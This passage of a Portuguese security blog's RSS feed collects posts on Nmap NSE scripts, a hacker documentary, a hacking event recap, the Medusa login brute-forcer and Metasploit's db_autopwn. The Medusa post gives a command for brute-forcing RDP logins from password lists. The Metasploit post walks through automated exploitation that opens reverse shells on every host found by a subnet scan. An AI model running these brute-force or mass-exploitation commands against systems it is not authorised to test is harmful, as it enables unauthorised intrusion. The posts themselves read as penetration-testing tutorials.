<p><strong>-sC</strong> exame usando o conjunto padrão de scritps, equivale a <strong>&#8211;script=default</strong>.<br />
<strong> </strong></p>
<h4 style="padding-left:30px;"><strong>- -script &lt;<span style="color:#ff6600;">filename</span>&gt;|&lt;<span style="color:#ff6600;">category</span>&gt;|&lt;<span style="color:#ff6600;">directory</span>&gt;|&lt;<span style="color:#ff6600;">expression</span>&gt;|all[,...]</strong></h4>
<p><strong> </strong>(<em>considere pipe como um operador lógico OU</em>)</p>
<p>Executa um script utilizando a lista separada por vírgulas: <strong>nomes de arquivos</strong>, <strong>categorias</strong> ou <strong>diretórios</strong>.</p>
<h3><strong>Exemplo de Uso</strong></h3>
<p><strong> </strong>Simples exame usando o conjunto omissivo de scripts:<br />
<strong> </strong></p>
<h4><strong>nmap -sC exemplo.com</strong></h4>
<p>Execuntando um script especifico com rastreamento habilitado:</p>
<h4><strong>nmap &#8211;script=<span style="color:#ff6600;">./showSSHVersion.nse</span> &#8211;script-trace <span style="color:#ff0000;">exemplo.com</span></strong></h4>
<p>Executa todos os scritps no diretório meuscripts, bem como todos os scripts omissivos da categoria safe:</p>
<h4><strong>nmap &#8211;script=<span style="color:#ff6600;">meuscripts</span>,<span style="color:#ff6600;">safe</span> <span style="color:#ff0000;">exemplo.com</span></strong></h4>
<blockquote><p><strong> </strong></p>
<p><strong> </strong></p></blockquote>
<h3><strong>Mais exemplos:</strong></h3>
<blockquote><p><strong> </strong>nmap -sC example.com<br />
nmap -sn -sC example.com<br />
nmap -Pn -sn -sC example.com<br />
nmap &#8211;script smb-os-discovery &#8211;script-trace example.com<br />
nmap &#8211;script snmp-sysdescr &#8211;script-args snmpcommunity=admin example.com<br />
nmap &#8211;script mycustomscripts,safe example.com</p></blockquote>
<p>Estou criando alguns vídeos para inserir neste post, em breve(espero <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> ).</p>
<p><span style="color:#ff6600;">Nmap Development Mailing Lis</span> <strong><span style="color:#ff0000;">&#8211;&gt;</span></strong> thttp://seclists.org/nmap-dev/</p>
<p><span style="color:#ff6600;">Attack Vector in Favorite nmap NSE scripts</span><strong><span style="color:#ff0000;"> &#8211;&gt;</span></strong> http://www.attackvector.org/favorite-nmap-nse-scripts/</p>
<p><span style="color:#ff6600;">SANS &#8211; Scanning Windows Deeper With the Nmap Scanning Engine</span> <strong><span style="color:#ff0000;">&#8211;&gt;</span></strong> http://www.sans.org/reading_room/whitepapers/testing/scanning-windows-deeper-nmap-scanning-engine_33138</p>
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		<title>[Documentário]Hackers are People Too</title>
		<link>http://thekernel.wordpress.com/2010/11/13/documentariohackers-are-people-too/</link>
		<comments>http://thekernel.wordpress.com/2010/11/13/documentariohackers-are-people-too/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 23:40:51 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://thekernel.wordpress.com/?p=166</guid>
		<description><![CDATA[Hackers are People Too é provavelmente um daqueles documentários raros que projeta um verdadeiro hacker, e não pretende mostra-lo como um vilão digital que envia spams e rouba das pessoas. Então, na verdade, o que é um hacker? A essência do ser hacker é a exploração tentando fazer coisas de maneiras não convencionais. O vídeo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=166&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/11/13/documentariohackers-are-people-too/"><img src="http://img.youtube.com/vi/1s3tNNYrmyg/2.jpg" alt="" /></a></span> </strong></p>
<p><strong><span style="color:#ff0000;">Hackers are People Too</span></strong> é provavelmente um daqueles documentários raros que projeta um verdadeiro hacker, e não pretende mostra-lo como um vilão digital que envia spams e rouba das pessoas.<br />
Então, na verdade, o que é um <strong>hacker</strong>?<br />
A essência do ser hacker é a <strong>exploração</strong> tentando fazer coisas de maneiras não convencionais.</p>
<p>O vídeo é curto, onde a discussão está centrada em torno de: Quem são os hackers, a forma como eles pensam, suas comunidades e o que eles amam fazer. Um monte de hackers conhecidos são entrevistados neste documentário, no geral é muito bom, e definitivamente vale a pena assistir.</p>
<p>Link: http://www.hackersarepeopletoo.com/</p>
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		<title>Medusa Parallel Network Login Auditor</title>
		<link>http://thekernel.wordpress.com/2010/08/27/medusa-parallel-network-login-auditor/</link>
		<comments>http://thekernel.wordpress.com/2010/08/27/medusa-parallel-network-login-auditor/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 21:55:54 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Security]]></category>

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		<description><![CDATA[Medusa é um brute force de login de serviços de rede, disponível em Foofus.net. Ele é rápido, massivamente paralelo e modular, atualmente com módulos para os seguintes serviços: AFP, CVS, FTP, HTTP,IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL,rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet,VmAuthd, VNC. Que também inclui um módulo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=137&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Medusa é um brute force de login de serviços de rede, disponível em <a title="Foofus.net" href="http://Foofus.net" target="_blank">Foofus.net</a>. Ele é rápido, massivamente paralelo e modular, atualmente com módulos para os seguintes serviços: <span style="text-decoration:underline;">AFP, CVS, FTP, HTTP,IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL,rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet,VmAuthd, VNC</span>. Que também inclui um módulo básico <strong><span style="color:#ff0000;">web-form</span></strong> e o módulo genérico <strong><span style="color:#ff0000;">wrapper</span></strong> para scripts externos.</p>
<p>Brute force no serviço <strong><span style="color:#ff0000;">SSH</span></strong>2:</p>
<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/08/27/medusa-parallel-network-login-auditor/"><img src="http://img.youtube.com/vi/XLZEE4TJcVc/2.jpg" alt="" /></a></span>
<p>Medusa também é uma alternativa ao TSGrinder.</p>
<p><strong><span style="color:#ff0000;"> </span></strong>Brute Force no serviço TS(<em>Terminal Services Server</em>) usando o módulo wrapper:</p>
<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/08/27/medusa-parallel-network-login-auditor/"><img src="http://img.youtube.com/vi/SaLz-j2E2og/2.jpg" alt="" /></a></span>
<p><code> medusa -M wrapper -m TYPE:STDIN -m PROG:rdesktop -m ARGS:"-u %U -p - %H" -H hosts.txt -U users.txt -P passwords.txt</code></p>
<p>Uma forma para esconder a saída gráfica do rdesktop:</p>
<p><code>% Xvfb :97 -ac -nolisten tcp &amp;<br />
% export DISPLAY=:97</code></p>
<p>Até aqui, nada novo, hoje existe inumeros vídeos/docs de ferramentas brute force pela rede, mas o importante é saber que a ferramenta está em desenvolvimento e se atualizando contatantemente, e é isso que nos deixa felizes =]</p>
<p>Vou atualizar o post <em>assim que possível</em> com uma ferramenta brute force gráfica.</p>
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		<title>Night Da Hack 2010</title>
		<link>http://thekernel.wordpress.com/2010/08/25/night-da-hack-2010/</link>
		<comments>http://thekernel.wordpress.com/2010/08/25/night-da-hack-2010/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 00:20:05 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

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		<description><![CDATA[Feedback edition 2010 After more than six months of preparation, the Night da Hack ended Sunday, June 20. Many personalities from the world of security were present and maybe future personalities in the field. It was also the occasion for all to meet #hzv people IRL. This night was special because for the first year [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=130&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/08/25/night-da-hack-2010/"><img src="http://img.youtube.com/vi/cQCLSOWaWig/2.jpg" alt="" /></a></span>
<p><strong>Feedback edition <span style="color:#ff0000;">2010</span></strong></p>
<p>After more than six months of preparation, the Night da Hack ended Sunday, June 20. Many personalities from the world of security were present and maybe future personalities in the field. It was also the occasion for all to meet <span style="color:#ff0000;">#hzv</span> people IRL. This night was special because for the first year we had sponsors, international talks, and especially more than 600 people came to share a drink in a festive atmosphere.</p>
<p>You can find the slides of the conferences below, then the official videos of the event in a few days on site the night da hack. The event was complemented by workshops led by such Babozor, XavBox, NoCrash, Sloshy, and Guifort SorcierFXK. In parallel, the <span style="color:#ff0000;">CTF</span> has been merciless, the DOS has taken over in order to lose the maximum number of points to opposing teams. Woe to the first team (choucroute) won points for the first target of the CTF became known on the dashboard developed for the occasion. Tests have been validated to catch up due to DOS, the teams are organized to maximize the attacks and the winners were made known &#8230; The results of the CTF are published in detail later.</p>
<p>As for public Wargame, WiFi problems have complicated the operations of the challengers, but for the most diligent and brave of them, a number of tests have been validated.<br />
Overall it is about 80% of the events of the CTF and wargame overall public who have not been validated. It must be said that the staff in charge of events has not been idle. We decided to put online the public wargame part of Night da Hack. You&#8217;ll find it at this address:<a title="http://wargame.nuitduhack.com/" href="http://wargame.nuitduhack.com/" target="_blank"><span style="color:#ff0000;"> http://wargame.nuitduhack.com/</span></a> Enjoy and good game&#8230;</p>
<p>Conclusion, this night has been rich in emotion and exhausting for the entire STAFF. We thank you for your support and also thank all staff for their unwavering implications, which helped make this night of unforgettable Hack. We took into account any feedback (good or bad &#8230;) so that the 2011 edition is to meet your expectations.</p>
<p>If you wish to contribute to the community and be part of the organization of Night Da Hack. Contact us at team@hackerzvoice.net</p>
<p>Remember of HackerZVoice meeting, every first Saturday of each month (located in Paris) and soon (maybe) a <span style="color:#ff0000;">HZV ezine #04</span>. In the meantime you can always read <a title="the HZV ezine #03" href="http://www.hackerzvoice.net/hzv_magz/download_hzv.php?magid=03" target="_blank"><span style="color:#ff0000;"><strong>the HZV ezine #03</strong></span></a></p>
<p>Mais <span style="color:#ff0000;">=]</span> &#8211;&gt; <a title="http://www.nightdahack.com/" href="http://www.nightdahack.com/" target="_blank">http://www.nightdahack.com/</a></p>
<p><img class="alignleft" title="Night Da Hack 2010" src="http://www.nuitduhack.com/image_standart_ndh/2010/img_0148.jpg" alt="" width="300" height="300" /></p>
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		<title>Metasploit + Data Base + Nmap = Automated Exploitation</title>
		<link>http://thekernel.wordpress.com/2010/08/19/metasploit-data-base-nmap-autopwn/</link>
		<comments>http://thekernel.wordpress.com/2010/08/19/metasploit-data-base-nmap-autopwn/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 01:59:22 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

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		<description><![CDATA[Metasploit com Autopwn MSF permite armazenar os resultados de um mapeamento em um banco de dados e usar o resultado para disparar uma exploração automática. A estrutura suporta o uso dos seguintes bancos de dados : Postgres MySQL SQLite (versão 2 e 3) Instalar MySQL: gem install mysql A Base de Dados MSF cria um [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=115&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/08/19/metasploit-data-base-nmap-autopwn/"><img src="http://img.youtube.com/vi/H6AGQlU1GQA/2.jpg" alt="" /></a></span>
<p><span style="color:#ff0000;"><strong>Metasploit com Autopwn</strong></span><br />
MSF permite armazenar os resultados de um mapeamento em um banco de dados e usar o resultado para disparar uma exploração automática.</p>
<p>A estrutura suporta o uso dos seguintes bancos de dados :</p>
<ul>
<li><span style="color:#000000;">Postgres</span></li>
<li><span style="color:#000000;">MySQL</span></li>
<li><span style="color:#000000;">SQLite (<em>versão 2 e 3</em>)</span></li>
</ul>
<p><strong>Instalar MySQL:</strong><br />
<span style="color:#ff0000;"><strong>gem install mysql</strong></span></p>
<p><strong>A Base de Dados</strong><br />
MSF cria um banco de dados para a sua utilização. Este banco contém as seguintes tabelas:</p>
<ul>
<li><span style="color:#000000;">hosts</span></li>
<li><span style="color:#000000;">refs</span></li>
<li><span style="color:#000000;">services</span></li>
<li><span style="color:#000000;">vulns</span></li>
<li><span style="color:#000000;">vulns_refs</span></li>
</ul>
<p><strong>Nota:</strong> A pasta <strong>metasploit3/msf3/data</strong> contém arquivos que são usados para criar as tabelas do banco.</p>
<p><span style="color:#ff0000;"><strong>Carregando MySQL</strong></span><br />
Antes de começar a usar bases de dados com o MSF, o módulo de banco de  dados apropriado deve ser carregado. Isso pode ser feito usando o comandos  <span style="color:#ff0000;"><strong>db_</strong></span>.<br />
Aqui está um exemplo de uso do MySQL com MSF.</p>
<p><strong>msf &gt; db_<span style="color:#ff0000;">driver</span></strong><br />
<strong>msf &gt; db_<span style="color:#ff0000;">driver</span> mysql</strong><br />
<strong>msf &gt; help</strong><strong><br />
</strong></p>
<p><span style="color:#ff0000;"><strong>Criando a Base de Dados</strong></span><br />
O comando <strong>db_<span style="color:#ff0000;">create</span> </strong>permite que você crie um novo banco de dados. Vamos criar um banco de dados chamado Metasploit:<br />
<strong>msf &gt; db_<span style="color:#ff0000;">create</span> </strong>root:senha@localhost/metasploit</p>
<p>Para verificar possível existência de erros, acesse o MySQL via console.</p>
<p><strong>$ mysql -u root -p</strong><br />
mysql&gt; show databases;<br />
<strong></strong></p>
<p><span style="color:#ff0000;"><strong>Usando Base</strong></span><br />
Para futuras sessões você pode simplesmente usá-lo com o comando db_<span style="color:#ff0000;">connect</span> tanto para criar quanto para conectar.<br />
<strong>msf &gt; db_<span style="color:#ff0000;">connect</span> <span style="color:#000000;">root:senha@localhost/metasploit</span></strong></p>
<p><span style="text-decoration:underline;"><strong>Help</strong></span></p>
<p><strong>db_add_host</strong><br />
<span style="color:#000000;"> Add one or more hosts to the database</span></p>
<p><strong>db_add_note</strong><br />
<span style="color:#000000;"> Add a note to host</span></p>
<p><strong>db_add_port</strong><br />
<span style="color:#000000;"> Add a port to host</span></p>
<p><strong>db_autopwn</strong><br />
<span style="color:#000000;"> Automatically exploit everything</span></p>
<p><strong>db_hosts</strong><br />
<span style="color:#000000;"> List all hosts in the database</span></p>
<p><strong>db_import_nessus_nbe</strong><br />
<span style="color:#000000;"> Import a Nessus scan result file (NBE)</span></p>
<p><strong>db_import_nmap_xml</strong><br />
<span style="color:#000000;"> Import a Nmap scan results file (-oX)</span></p>
<p><strong>db_nmap</strong><br />
<span style="color:#000000;"> Executes nmap and records the output automatically</span></p>
<p><strong>db_notes</strong><br />
<span style="color:#000000;"> List all notes in the database</span></p>
<p><strong>db_services</strong><br />
<span style="color:#000000;"> List all services in the database</span></p>
<p><strong>db_vulns</strong><br />
<span style="color:#000000;"> List all vulnerabilities in the database</span></p>
<p>O mais importante é o<strong> db_<span style="color:#ff0000;">nmap</span></strong> que irá executar o nmap com comandos especificados e gravar os resultados no banco de dados criado.<br />
<strong>msf&gt; db_<span style="color:#ff0000;">nmap</span> -sV 192.168.1.0/24</strong></p>
<p><span style="color:#ff0000;"><strong>Importar resultado XML do Nmap</strong></span><br />
Caso não tenha utilizado o nmap dentro do metasploit pode se importar os resultados do nmap salvos na saida(<em>-oX/-oA</em>) no formato XML.<br />
<strong>msf &gt; db_<span style="color:#ff0000;">import_nmap_xml</span> result_nmap.xml</strong></p>
<p>Pode também se importar os dados do <a title="OpenVAS" href="http://www.openvas.org/" target="_blank"><span style="color:#000000;"><span style="text-decoration:underline;">OpenVAS</span></span></a> por um arquivo XML.</p>
<p>Ao termino da execução do nmap, para listar o host(s) encontrado no exame&#8230;<br />
<strong>msf&gt; db_<span style="color:#ff0000;">hosts</span></strong></p>
<p>Para listar as possíveis vulnerabilidades encontradas no exame dos hosts.<br />
<strong>msf&gt; db_<span style="color:#ff0000;">vulns</span></strong></p>
<p>Exploração Automáticas dos Host(s) com db_autopwn (<em>Autopwn</em>)<br />
<strong>msf &gt; db_<span style="color:#ff0000;">autopwn</span></strong><br />
[*] Usage: db_autopwn [options]<br />
-h         Display this help text<br />
-t         Show all matching exploit modules<br />
-x         Select modules based on vulnerability references<br />
-p         Select modules based on open ports<br />
-e         Launch exploits against all matched targets<br />
-s         Only obtain a single shell per target system (NON-FUNCTIONAL)<br />
-r         Use a reverse connect shell<br />
-b         Use a bind shell on a random port<br />
-I [range] Only exploit hosts inside this range<br />
-X [range] Always exclude hosts inside this range</p>
<p><strong>msf &gt; db_<span style="color:#ff0000;">autopwn</span><span style="color:#000000;"> -t -x -e -r</span></strong></p>
<p><strong>Desconectando da Base</strong><br />
Se em uma sessão, você sente que já não têm a necessidade de utilizar o  banco de dados, então você pode se desconectar.<br />
<strong>msf &gt; db_<span style="color:#ff0000;">disconnect</span></strong></p>
<p><span style="text-decoration:line-through;"><strong>Destruindo Banco</strong></span><br />
Quando você quiser excluir o banco de dados com todos os dados nele, você pode fazê-lo usando o comando db_<span style="color:#ff0000;">destroy</span>.<br />
<strong>msf &gt; db_<span style="color:#ff0000;">destroy</span> root:mydbpass@localhost/metasploit</strong></p>
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